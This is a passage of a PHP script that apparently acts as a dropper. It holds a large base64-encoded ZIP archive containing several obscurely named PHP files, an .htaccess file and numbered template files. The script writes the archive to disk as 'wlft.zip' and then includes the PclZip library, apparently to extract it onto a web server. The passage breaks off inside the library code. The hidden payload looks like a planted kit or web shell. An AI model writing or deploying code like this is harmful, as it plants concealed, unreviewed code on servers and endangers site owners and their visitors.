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"); | |
file_put_contents("wlft.zip",$data); | |
if (!defined('PCLZIP_READ_BLOCK_SIZE')) { | |
define( 'PCLZIP_READ_BLOCK_SIZE', 2048 ); | |
} | |
if (!defined('PCLZIP_SEPARATOR')) { | |
define( 'PCLZIP_SEPARATOR', ',' ); | |
} | |
if (!defined('PCLZIP_ERROR_EXTERNAL')) { | |
define( 'PCLZIP_ERROR_EXTERNAL', 0 ); | |
} | |
if (!defined('PCLZIP_TEMPORARY_DIR')) { | |
define( 'PCLZIP_TEMPORARY_DIR', '' ); | |
} | |
if (!defined('PCLZIP_TEMPORARY_FILE_RATIO')) { | |
define( 'PCLZIP_TEMPORARY_FILE_RATIO', 0.47 ); | |
} | |
$g_pclzip_version = "2.8.2"; | |
define( 'PCLZIP_ERR_USER_ABORTED', 2 ); | |
define( 'PCLZIP_ERR_NO_ERROR', 0 ); | |
define( 'PCLZIP_ERR_WRITE_OPEN_FAIL', -1 ); | |
define( 'PCLZIP_ERR_READ_OPEN_FAIL', -2 ); | |
define( 'PCLZIP_ERR_INVALID_PARAMETER', -3 ); | |
define( 'PCLZIP_ERR_MISSING_FILE', -4 ); | |
define( 'PCLZIP_ERR_FILENAME_TOO_LONG', -5 ); | |
define( 'PCLZIP_ERR_INVALID_ZIP', -6 ); | |
define( 'PCLZIP_ERR_BAD_EXTRACTED_FILE', -7 ); | |
define( 'PCLZIP_ERR_DIR_CREATE_FAIL', -8 ); | |
define( 'PCLZIP_ERR_BAD_EXTENSION', -9 ); | |
define( 'PCLZIP_ERR_BAD_FORMAT', -10 ); | |
define( 'PCLZIP_ERR_DELETE_FILE_FAIL', -11 ); | |
define( 'PCLZIP_ERR_RENAME_FILE_FAIL', -12 ); | |
define( 'PCLZIP_ERR_BAD_CHECKSUM', -13 ); | |
define( 'PCLZIP_ERR_INVALID_ARCHIVE_ZIP', -14 ); | |
define( 'PCLZIP_ERR_MISSING_OPTION_VALUE', -15 ); | |
define( 'PCLZIP_ERR_INVALID_OPTION_VALUE', -16 ); | |
define( 'PCLZIP_ERR_ALREADY_A_DIRECTORY', -17 ); | |
define( 'PCLZIP_ERR_UNSUPPORTED_COMPRESSION', -18 ); | |
define( 'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION', -19 ); | |
define( 'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE', -20 ); | |
define( 'PCLZIP_ERR_DIRECTORY_RESTRICTION', -21 ); | |
define( 'PCLZIP_OPT_PATH', 77001 ); | |
define( 'PCLZIP_OPT_ADD_PATH', 77002 ); | |
define( 'PCLZIP_OPT_REMOVE_PATH', 77003 ); | |
define( 'PCLZIP_OPT_REMOVE_ALL_PATH', 77004 ); | |
define( 'PCLZIP_OPT_SET_CHMOD', 77005 ); | |
define( 'PCLZIP_OPT_EXTRACT_AS_STRING', 77006 ); | |
define( 'PCLZIP_OPT_NO_COMPRESSION', 77007 ); | |
define( 'PCLZIP_OPT_BY_NAME', 77008 ); | |
define( 'PCLZIP_OPT_BY_INDEX', 77009 ); | |
define( 'PCLZIP_OPT_BY_EREG', 77010 ); | |
define( 'PCLZIP_OPT_BY_PREG', 77011 ); | |
define( 'PCLZIP_OPT_COMMENT', 77012 ); | |
define( 'PCLZIP_OPT_ADD_COMMENT', 77013 ); | |
define( 'PCLZIP_OPT_PREPEND_COMMENT', 77014 ); | |
define( 'PCLZIP_OPT_EXTRACT_IN_OUTPUT', 77015 ); | |
define( 'PCLZIP_OPT_REPLACE_NEWER', 77016 ); | |
define( 'PCLZIP_OPT_STOP_ON_ERROR', 77017 ); | |
define( 'PCLZIP_OPT_EXTRACT_DIR_RESTRICTION', 77019 ); | |
define( 'PCLZIP_OPT_TEMP_FILE_THRESHOLD', 77020 ); | |
define( 'PCLZIP_OPT_TEMP_FILE_ON', 77021 ); | |
define( 'PCLZIP_OPT_TEMP_FILE_OFF', 77022 ); | |
define( 'PCLZIP_ATT_FILE_NAME', 79001 ); | |
define( 'PCLZIP_ATT_FILE_NEW_SHORT_NAME', 79002 ); | |
define( 'PCLZIP_ATT_FILE_NEW_FULL_NAME', 79003 ); | |
define( 'PCLZIP_ATT_FILE_MTIME', 79004 ); | |
define( 'PCLZIP_ATT_FILE_CONTENT', 79005 ); | |
define( 'PCLZIP_ATT_FILE_COMMENT', 79006 ); | |
define( 'PCLZIP_CB_PRE_EXTRACT', 78001 ); | |
define( 'PCLZIP_CB_POST_EXTRACT', 78002 ); | |
define( 'PCLZIP_CB_PRE_ADD', 78003 ); | |
define( 'PCLZIP_CB_POST_ADD', 78004 ); | |
class PclZip | |
{ | |
var $zipname = ''; | |
var $zip_fd = 0; | |
var $error_code = 1; | |
var $error_string = ''; | |
var $magic_quotes_status; | |
function PclZip($p_zipname) | |
{ | |
if (!function_exists('gzopen')) | |
{ | |
die('Abort '.basename(__FILE__).' : Missing zlib extensions'); | |
} | |
$this->zipname = $p_zipname; | |
$this->zip_fd = 0; | |
$this->magic_quotes_status = -1; | |
return; | |
} | |
function create($p_filelist) | |
{ | |
$v_result=1; | |
$this->privErrorReset(); | |
$v_options = array(); | |
$v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE; | |
$v_size = func_num_args(); | |
if ($v_size > 1) { | |
$v_arg_list = func_get_args(); | |
array_shift($v_arg_list); | |
$v_size--; | |
if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) { | |
$v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options, | |
array (PCLZIP_OPT_REMOVE_PATH => 'optional', | |
PCLZIP_OPT_REMOVE_ALL_PATH => 'optional', | |
PCLZIP_OPT_ADD_PATH => 'optional', | |
PCLZIP_CB_PRE_ADD => 'optional', | |
PCLZIP_CB_POST_ADD => 'optional', | |
PCLZIP_OPT_NO_COMPRESSION => 'optional', | |
PCLZIP_OPT_COMMENT => 'optional', | |
PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional', | |
PCLZIP_OPT_TEMP_FILE_ON => 'optional', | |
PCLZIP_OPT_TEMP_FILE_OFF => 'optional' | |
)); | |
if ($v_result != 1) { | |
return 0; | |
} | |
} | |
else { | |
$v_options[PCLZIP_OPT_ADD_PATH] = $v_arg_list[0]; | |
if ($v_size == 2) { | |
$v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1]; | |
} | |
else if ($v_size > 2) { | |
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, | |
"Invalid number / type of arguments"); | |
return 0; | |
} | |
} | |
} | |
$this->privOptionDefaultThreshold($v_options); | |
$v_string_list = array(); | |
$v_att_list = array(); | |
$v_filedescr_list = array(); | |
$p_result_list = array(); | |
if (is_array($p_filelist)) { | |
if (isset($p_filelist[0]) && is_array($p_filelist[0])) { | |
$v_att_list = $p_filelist; | |
} | |
else { | |
$v_string_list = $p_filelist; | |
} | |
} | |
else if (is_string($p_filelist)) { | |
$v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist); | |
} | |
else { | |
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_filelist"); | |
return 0; | |
} | |
if (sizeof($v_string_list) != 0) { | |
foreach ($v_string_list as $v_string) { | |
if ($v_string != '') { | |
$v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string; | |
} | |
else { | |
} | |
} | |
} | |
$v_supported_attributes | |
= array ( PCLZIP_ATT_FILE_NAME => 'mandatory' | |
,PCLZIP_ATT_FILE_NEW_SHORT_NAME => 'optional' | |
,PCLZIP_ATT_FILE_NEW_FULL_NAME => 'optional' | |
,PCLZIP_ATT_FILE_MTIME => 'optional' | |
,PCLZIP_ATT_FILE_CONTENT => 'optional' | |
,PCLZIP_ATT_FILE_COMMENT => 'optional' | |
); | |
foreach ($v_att_list as $v_entry) { | |
$v_result = $this->privFileDescrParseAtt($v_entry, | |
$v_filedescr_list[], | |
$v_options, | |
$v_supported_attributes); | |
if ($v_result != 1) { | |
return 0; | |
} | |
} | |
$v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options); | |
if ($v_result != 1) { | |
return 0; | |
} | |
$v_result = $this->privCreate($v_filedescr_list, $p_result_list, $v_options); | |
if ($v_result != 1) { | |
return 0; | |
} | |
return $p_result_list; | |
} | |
function add($p_filelist) | |
{ | |
$v_result=1; | |
$this->privErrorReset(); | |
$v_options = array(); | |
$v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE; | |
$v_size = func_num_args(); | |
if ($v_size > 1) { | |
$v_arg_list = func_get_args(); | |
array_shift($v_arg_list); | |
$v_size--; | |
if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) { | |
$v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options, | |
array (PCLZIP_OPT_REMOVE_PATH => 'optional', | |
PCLZIP_OPT_REMOVE_ALL_PATH => 'optional', | |
PCLZIP_OPT_ADD_PATH => 'optional', | |
PCLZIP_CB_PRE_ADD => 'optional', | |
PCLZIP_CB_POST_ADD => 'optional', | |
PCLZIP_OPT_NO_COMPRESSION => 'optional', | |
PCLZIP_OPT_COMMENT => 'optional', | |
PCLZIP_OPT_ADD_COMMENT => 'optional', | |
PCLZIP_OPT_PREPEND_COMMENT => 'optional', | |
PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional', | |
PCLZIP_OPT_TEMP_FILE_ON => 'optional', | |
PCLZIP_OPT_TEMP_FILE_OFF => 'optional' | |
)); | |
if ($v_result != 1) { | |
return 0; | |
} | |
} | |
else { | |
$v_options[PCLZIP_OPT_ADD_PATH] = $v_add_path = $v_arg_list[0]; | |
if ($v_size == 2) { | |
$v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1]; | |
} | |
else if ($v_size > 2) { | |
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments"); | |
return 0; | |
} | |
} | |
} | |
$this->privOptionDefaultThreshold($v_options); | |
$v_string_list = array(); | |
$v_att_list = array(); | |
$v_filedescr_list = array(); | |
$p_result_list = array(); | |
if (is_array($p_filelist)) { | |
if (isset($p_filelist[0]) && is_array($p_filelist[0])) { | |
$v_att_list = $p_filelist; | |
} | |
else { | |
$v_string_list = $p_filelist; | |
} | |
} | |
else if (is_string($p_filelist)) { | |
$v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist); | |
} | |
else { | |
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type '".gettype($p_filelist)."' for p_filelist"); | |
return 0; | |
} | |
if (sizeof($v_string_list) != 0) { | |
foreach ($v_string_list as $v_string) { | |
$v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string; | |
} | |
} | |
$v_supported_attributes | |
= array ( PCLZIP_ATT_FILE_NAME => 'mandatory' | |
,PCLZIP_ATT_FILE_NEW_SHORT_NAME => 'optional' | |
,PCLZIP_ATT_FILE_NEW_FULL_NAME => 'optional' | |
,PCLZIP_ATT_FILE_MTIME => 'optional' | |
,PCLZIP_ATT_FILE_CONTENT => 'optional' | |
,PCLZIP_ATT_FILE_COMMENT => 'optional' | |
); | |
foreach ($v_att_list as $v_entry) { | |
$v_result = $this->privFileDescrParseAtt($v_entry, | |
$v_filedescr_list[], | |
$v_options, | |
$v_supported_attributes); | |
if ($v_result != 1) { | |
return 0; | |
} | |
} | |
$v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options); | |
if ($v_result != 1) { | |
return 0; | |
} | |
$v_result = $this->privAdd($v_filedescr_list, $p_result_list, $v_options); | |
if ($v_result != 1) { | |
return 0; | |
} | |
return $p_result_list; | |
} | |
function listContent() | |
{ | |
$v_result=1; | |
$this->privErrorReset(); | |
if (!$this->privCheckFormat()) { | |
return(0); | |
} | |
$p_list = array(); | |
if (($v_result = $this->privList($p_list)) != 1) | |
{ | |
unset($p_list); | |
return(0); | |
} | |
return $p_list; | |
} | |
function extract() | |
{ | |
$v_result=1; | |
$this->privErrorReset(); | |
if (!$this->privCheckFormat()) { | |
return(0); | |
} | |
$v_options = array(); | |
$v_path = ''; | |
$v_remove_path = ""; | |
$v_remove_all_path = false; | |
$v_size = func_num_args(); | |
$v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE; | |
if ($v_size > 0) { | |
$v_arg_list = func_get_args(); | |
if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) { | |
$v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options, | |
array (PCLZIP_OPT_PATH => 'optional', | |
PCLZIP_OPT_REMOVE_PATH => 'optional', | |
PCLZIP_OPT_REMOVE_ALL_PATH => 'optional', | |
PCLZIP_OPT_ADD_PATH => 'optional', | |
